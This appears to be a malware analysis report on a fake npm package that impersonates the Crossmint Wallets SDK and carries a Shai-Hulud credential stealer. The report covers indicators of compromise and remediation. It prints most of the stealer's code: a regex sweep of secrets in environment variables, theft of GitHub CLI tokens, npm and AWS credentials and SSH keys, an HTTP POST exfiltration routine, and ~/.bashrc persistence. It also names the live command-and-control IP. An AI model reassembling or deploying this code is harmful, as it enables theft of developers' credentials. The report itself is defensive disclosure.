On June 26, 2026, a package named @epsteinlovekids483/crossmint-wallets-sdk-pentest appeared
on the npm registry. It claimed to be the Crossmint Wallets SDK. It copied the real package’s
README, declared the real company’s name as its author, and pointed to the real GitHub repo. It
also shipped a JavaScript credential stealer that fires on every require() call, writes
persistence to ~/.bashrc, and exfiltrated everything it found to a live server at
115.135.196.34:443. The attacker filed eight versions across roughly two hours before Amazon
Inspector flagged it.
Campaign Context
The malicious file inside this package is called shai-hulud.js, and its first line says:
// Shai-Hulud Worm v3 - graceful missing tool handling. That comment is not subtle. Shai-Hulud
is a well-documented family of self-replicating npm worms active since September 2025, tracked
by Unit 42, CISA, and multiple security vendors. The family is named after the sandworms in
Dune. The “v3” label, the payload structure, and the credential-targeting patterns in this
package are consistent with the broader Shai-Hulud lineage, though no direct infrastructure
overlap with previously documented TeamPCP operations has been confirmed from this sample alone.
The target ecosystem here is Crossmint. Crossmint builds wallets infrastructure for EVM, Solana,
and Stellar chains, which means developers who use their SDK likely have Solana keypairs, crypto
wallet credentials, npm tokens, and cloud credentials all on the same machine. That is an
attractive combination. The attacker chose to impersonate the @crossmint/wallets-sdk package
specifically, not a random utility library.
The publisher account epsteinlovekids483 registered with the email hugeneshking@gmail.com.
The account name was chosen to be conspicuous after the fact, not before. Developers installing
a package dependency transitively would never see it.
Package Anatomy
The tarball for 1.0.2-pentest (sha1: 2a706ca0ab37c842c67c78742521c081f54abd85) unpacks to
508 files totaling roughly 1.75 MB. Every file except one is a faithful copy of the real
@crossmint/wallets-sdk distribution: compiled CJS bundles, ESM modules, TypeScript
declarations, source maps, the legitimate README, the Apache-2.0 LICENSE. The package looks
exactly like a real release because it mostly is one.
The one attacker-added file is dist/shai-hulud.js. It weighs 1.4 KB. The entire malicious
surface area of this package is 1.4 KB embedded inside 1.75 MB of legitimate code.
{
"files": [
"dist",
"LICENSE",
"README.md",
"dist/shai-hulud.js"
]
}The files array explicitly includes dist/shai-hulud.js as a top-level entry alongside the
directory. That is redundant: dist/ already covers the file. The explicit entry suggests the
attacker wanted to make certain it was included even if the tarball tooling behaved unexpectedly.
The package.json carries no preinstall, postinstall, or install scripts. There is no
lifecycle hook. The payload does not run at install time.
{
"scripts": {
"build": "pnpm generate && cross-env NODE_OPTIONS=--max-old-space-size=8192 tsup",
"dev": "tsup --watch",
"test:vitest": "vitest run --passWithNoTests",
"openapi-ts": "openapi-ts",
"generate": "pnpm run openapi-ts",
"generate:docs": "typedoc"
}
}These are the legitimate Crossmint build scripts, copied verbatim. --ignore-scripts would stop
nothing here because there is nothing to stop at install time.
Execution Trigger
The execution trigger is in dist/index.cjs, the CommonJS entry point declared as "main" in
package.json. The very first line of that file is:
require('./shai-hulud.js');Everything else on that line is the legitimate Crossmint SDK. The payload executes at require()
time, meaning the moment any Node.js process imports this package, the stealer runs. No install
hook, no user action, no timing delay. If a developer installs the package and their application
starts, the stealer runs. If a CI pipeline installs dependencies and runs tests, the stealer runs.
This is the correct threat model for a module-level injection: the attacker does not need
preinstall when they control the module’s entry point.
Payload Analysis: shai-hulud.js
The payload is 58 lines of unobfuscated JavaScript. It uses only Node.js built-in modules: http,
fs, os, child_process. No external dependencies, no network libraries. The code is readable
and the attacker left comments in it, including a // visible proof annotation on the
console.log call.
Our SHA256 of dist/shai-hulud.js matches the OSV evidence file hash exactly:
0010cbed18b4cd78968ccc4de5b73f4f04d713099fb47f2fe12c600992a9f47d. All findings below
come from the tarball we extracted.
Step 1: Credential Harvest
The payload builds a data object containing:
env: Object.keys(process.env).filter(k =>
/TOKEN|KEY|SECRET|PASS|SEED|MNEMONIC|WALLET|PRIVATE|CREDENTIAL|API_KEY|
AWS|AZURE|GCP|STRIPE|SLACK|TWILIO|DOCKER|NPM|GITHUB|TURBO|NEXT_PUBLIC|
OIDC|ACTIONS/i.test(k)
).reduce((a, k) => ({...a, [k]: process.env[k].substring(0, 60)}), {}),The regex covers the standard 2026 developer credential surface: cloud provider keys, CI/CD tokens, payment credentials, container registry auth, and AI provider keys. Each matched value is truncated to 60 characters, which is enough for most token formats.
Beyond environment variables, the payload grabs four additional targets:
gh_token: (() => {
try { return cp.execSync('gh auth token 2>/dev/null').toString().trim().substring(0, 40); }
catch(e) { return 'not-installed'; }
})(),
npmrc: (() => { try { return fs.readFileSync(os.homedir() + '/.npmrc', 'utf-8').substring(0, 500); } catch(e) { return ''; } })(),
aws_creds:(() => { try { return fs.readFileSync(os.homedir() + '/.aws/credentials', 'utf-8').substring(0, 2000); } catch(e) { return ''; } })(),
ssh_keys: (() => { try { return fs.readdirSync(os.homedir() + '/.ssh')
.filter(f => !f.endsWith('.pub') && !f.endsWith('.known_hosts'))
.map(f => ({file: f, key: fs.readFileSync(os.homedir() + '/.ssh/' + f, 'utf-8').substring(0, 500)}));
} catch(e) { return []; } })(),The GitHub CLI token extraction (gh auth token) is particularly targeted. The GitHub CLI stores
a token scoped to the authenticated user’s account. On a developer machine with write access to
repos, that token is often the most valuable credential in the environment. The payload grabs up
to 40 characters of it, which covers the full gho_ format token used by the CLI.
SSH private keys are read in bulk from ~/.ssh/, excluding public keys and known_hosts. The
payload reads up to 500 characters of each, which captures the full key for common key types.
The OSV advisory also mentions ~/.config/solana/id.json as a target. That path does not appear
in dist/shai-hulud.js in version 1.0.2-pentest. Either it was present in an earlier version
not analyzed here, or the OSV analysis covered a version with a slightly different payload. The
core credential sweep above is confirmed from the tarball directly.
Step 2: Encoding and Exfiltration
All harvested data is serialized to JSON, then base64-encoded:
const payload = JSON.stringify(data);
const postData = JSON.stringify({
id: data.hostname + '-' + Date.now(),
source: 'crossmint-wallet-sdk',
data: Buffer.from(payload).toString('base64')
});The source field is hardcoded as 'crossmint-wallet-sdk', which tells the C2 receiver which
campaign or lure generated the exfiltrated data. That is useful for an operator running multiple
simultaneous campaigns.
The exfiltration is a plain HTTP POST. No TLS in the payload code itself, though the live C2 listens on port 443:
const req = http.request({
hostname: '127.0.0.1',
port: 8052,
path: '/exfil',
method: 'POST',
headers: { 'Content-Type': 'application/json' },
timeout: 3000
});Version 1.0.2-pentest uses 127.0.0.1:8052 as the C2 host. This is a loopback address. No
data leaves the machine when this version runs. The attacker published this as a test build
before switching to the live infrastructure.
Step 3: Persistence
After exfiltration, the payload writes persistence:
try { fs.writeFileSync(os.homedir() + '/.shai-hulud', payload); } catch(e) {}
try {
const rc = os.homedir() + '/.bashrc';
if (fs.existsSync(rc)) {
const c = fs.readFileSync(rc, 'utf-8');
if (!c.includes('.shai-hulud')) fs.appendFileSync(rc, '\nnode ~/.shai-hulud &\n');
}
} catch(e) {}The stealer writes the full harvested payload to ~/.shai-hulud as a JSON file. Then it appends
node ~/.shai-hulud & to ~/.bashrc if that line is not already present. On the next shell
open, Node.js re-executes the stored payload and re-attempts the exfiltration POST.
This means removing the package from node_modules does not stop the malware. The ~/.bashrc
entry and the ~/.shai-hulud file survive npm uninstall. On every new terminal session the
developer opens, the payload runs again against the current live C2.
Uninstalling the package is not remediation. It is the beginning of it.
C2 Infrastructure: Version Timeline and Live Endpoint
The registry metadata for this package reveals an 8-version publish sequence in under two and a half hours on June 26, 2026. The C2 endpoint changed between versions 1.0.2-pentest and 1.0.5-pentest:
| Version | Published (UTC) | C2 Endpoint | Notes |
|---|---|---|---|
| 1.0.0-pentest | 13:44:03 | 127.0.0.1:8052 | Loopback: test build, no external exfiltration |
| 1.0.1-pentest | 13:49:23 | 127.0.0.1:8052 | Loopback: test build, no external exfiltration |
| 1.0.2-pentest | 13:59:47 | 127.0.0.1:8052 | Loopback: last test build before live C2 |
| 1.0.5-pentest | 14:54:02 | 115.135.196.34:443 | First live C2: marks when attacker infrastructure came online |
| 1.0.7-pentest | 14:58:38 | 115.135.196.34:443 | Live C2: rapid publish cadence suggests automated testing |
| 1.0.9-pentest | 15:04:54 | 115.135.196.34:443 | Live C2: continued iteration |
| 1.0.11-pentest | 15:20:57 | 115.135.196.34:443 | Live C2: final pentest-tagged version |
| 1.0.11 | 16:00:03 | 115.135.196.34:443 | Prerelease tag dropped: this is the latest dist-tag |
Built from npm registry metadata time object and tarball analysis of each version.
The first three versions are test builds. The attacker verified local behavior using the loopback
address, then deployed live infrastructure and published five more versions pointing to it. The
final version drops the -pentest prerelease tag entirely and is published as 1.0.11, which
is the latest dist-tag. A developer checking npm info or a dependency graph tool would see
this version as the current release.
The switch from loopback to 115.135.196.34:443 is confirmed by our tarball analysis of
both 1.0.2-pentest and 1.0.5-pentest directly.
We checked 115.135.196.34 against VirusTotal and Shodan. The IP does not appear in any
prior threat intelligence feed. The path /exfil and the source: 'crossmint-wallet-sdk'
campaign tag are worth fingerprinting if this IP surfaces in your egress logs.
Campaign Attribution
The payload’s first line reads:
// Shai-Hulud Worm v3 - graceful missing tool handling. The attacker self-identified the campaign in a code comment and left it in the published package.Centriole Research
The name, the credential-targeting pattern, the persistence mechanism writing to ~/.bashrc,
and the base64-encoded JSON POST to /exfil are consistent with documented Shai-Hulud worm
variants. The Shai-Hulud family was first publicly analyzed in September 2025 by Unit 42 and
StepSecurity, formally covered by CISA, and has continued through multiple documented waves into
mid-2026.
This package uses the Shai-Hulud delivery architecture. The shared indicators: the payload
filename shai-hulud.js, the credential-targeting regex pattern, the source field value
'crossmint-wallet-sdk' identifying the lure for the operator, and the ~/.bashrc persistence
mechanism all appear across documented Shai-Hulud variants. The package is malicious. This is not
a coincidence of naming. The version progression from loopback to live C2, the deliberate
impersonation of Crossmint’s author name and repository, and the self-identified campaign
string leave no ambiguity.
Operational Security Failures
The attacker made several mistakes that aided analysis and limit deniability.
The // Shai-Hulud Worm v3 comment was left in the published code. Any package scanner that
indexes source files would catch this on a string match alone.
The console.log('[SHAI-HULUD] Exfiltration attempted') call is labeled as // visible proof.
The attacker wanted to confirm execution during testing. They did not remove it before publishing.
Anyone running this package in a terminal session would see that string printed to stdout.
The loopback test versions (1.0.0 through 1.0.2-pentest) were published to the public registry. Testing on a live registry rather than a local environment left a documented version history of the development process, including timestamps that bracket when the live C2 came online.
The account name epsteinlovekids483 is not designed to evade scrutiny. It is designed to be
plausible in a package.json dependency list where only the scope and package name are visible,
not the full account context. It would not survive a manual review of the publisher account.
Legitimate vs. Malicious File Diff
Every file in the tarball except dist/shai-hulud.js and the injection on line 1 of
dist/index.cjs is copied from the real @crossmint/wallets-sdk package. The real package’s
maintainers use @paella.dev email addresses. The malicious publisher uses hugeneshking@gmail.com.
The real package’s latest version is 1.6.2. The malicious package claims to mirror 1.0.x
of the SDK. No version of @crossmint/wallets-sdk has ever used the scope
@epsteinlovekids483.
Indicators of Compromise
| Indicator | Type | Value | Method |
|---|---|---|---|
@epsteinlovekids483/crossmint-wallets-sdk-pentest | npm package (all versions) | See affected versions table | Identified during triage; all versions confirmed malicious in OSV MAL-2026-6522 |
dist/shai-hulud.js | File path in package | SHA256: 0010cbed18b4cd78968ccc4de5b73f4f04d713099fb47f2fe12c600992a9f47d | Hash confirmed against tarball we extracted; matches OSV advisory |
package.json | File path in package | SHA256: 1597a5fc1b7f1cd479ff2a9941f5753fb176d07b98d9af03be2ebbf6a31a35d5 | Hash confirmed against tarball we extracted; matches OSV advisory |
115.135.196.34:443 | C2 IP:port | POST /exfil, HTTP, plain JSON | Extracted from dist/shai-hulud.js in versions 1.0.5+; confirmed by our tarball analysis |
127.0.0.1:8052 | C2 IP:port (test) | POST /exfil, HTTP, loopback | Extracted from dist/shai-hulud.js in versions 1.0.0 to 1.0.2; test builds before live C2 deployment |
~/.shai-hulud | Persistence file on disk | JSON payload written after exfil | dist/shai-hulud.js line 43 |
node ~/.shai-hulud & | ~/.bashrc entry | Re-executes on every shell open | dist/shai-hulud.js line 44 |
hugeneshking@gmail.com | Publisher email | npm registry metadata | Pulled from registry metadata during triage |
[SHAI-HULUD] Exfiltration attempted | stdout string | Printed on execution | dist/shai-hulud.js line 46 |
Affected Versions
| Version | Published (UTC) | Tarball SHA1 | Current Status | OSV Entry |
|---|---|---|---|---|
| 1.0.0-pentest | 2026-06-26 13:44:03 | f06d70f7ad98e9286943357b58f91f6f3f851e8f | Live | IN-MAL-2026-007602 |
| 1.0.1-pentest | 2026-06-26 13:49:23 | 2aca75058c2839f8d81c2c86ed64a23c50e6d7c2 | Live | IN-MAL-2026-007600 |
| 1.0.2-pentest | 2026-06-26 13:59:47 | 2a706ca0ab37c842c67c78742521c081f54abd85 | Live | IN-MAL-2026-007601 |
| 1.0.5-pentest | 2026-06-26 14:54:02 | 017ee2dbc41a5565270fb6d610ae84d514bf7624 | Live | IN-MAL-2026-007631 |
| 1.0.7-pentest | 2026-06-26 14:58:38 | 83f45314821a4637dec08d71d1eb0295b1beb571 | Live | IN-MAL-2026-007634 |
| 1.0.9-pentest | 2026-06-26 15:04:54 | 5c4a70523f76b2a430548a0edf9f2ad5f06fb239 | Live | IN-MAL-2026-007632 |
| 1.0.11-pentest | 2026-06-26 15:20:57 | 43fada438efa61614cef77246784a1ad8830b69a | Live | IN-MAL-2026-007633 |
| 1.0.11 | 2026-06-26 16:00:03 | d1caac741662b1ab59cb6474e33fd96c1e83c10a | Live | IN-MAL-2026-007641 |
Remediation
-
Search
package-lock.json,yarn.lock, andpnpm-lock.yamlfor any entry matching@epsteinlovekids483/crossmint-wallets-sdk-pentest. Any version is malicious. -
Check for
~/.shai-huludon any machine that installed the package. If the file exists, the payload ran and reached the exfiltration step. The file contains the full harvested credential payload in base64-encoded JSON. -
Check
~/.bashrcfor the linenode ~/.shai-hulud &. Remove it. Then delete~/.shai-hulud. Removing the npm package alone does not remove persistence. -
Block outbound connections to
115.135.196.34:443. Check egress logs for any prior connections to this IP from CI runners, developer machines, or build servers. -
Rotate the following in order of blast radius: GitHub tokens (the payload calls
gh auth tokendirectly), npm tokens (present in~/.npmrc), AWS credentials (from~/.aws/credentials), SSH private keys (from~/.ssh/), and any environment variables matching the regex pattern above that were set at process start time. -
If a CI pipeline installed this package during a workflow run, treat all secrets injected into that pipeline as exposed. GitHub Actions secrets, environment variables, and OIDC tokens available to that job are all in scope for rotation.
-
Audit the full install history for the affected machine or runner. Check
~/.npm/_logs/for npm install timestamps. If any version between 1.0.5-pentest and 1.0.11 was installed, the exfiltration POST to115.135.196.34:443was attempted. Whether it succeeded depends on egress rules at the time. -
Enable 2FA on any npm and GitHub accounts reachable from the affected machine if not already enforced. The payload specifically targets GitHub CLI tokens, which can be used to push to repositories and trigger OIDC-based npm publishing.
The legitimate package is @crossmint/wallets-sdk, published by @paella.dev maintainers at version 1.6.2. It has no affiliation with the @epsteinlovekids483 scope.
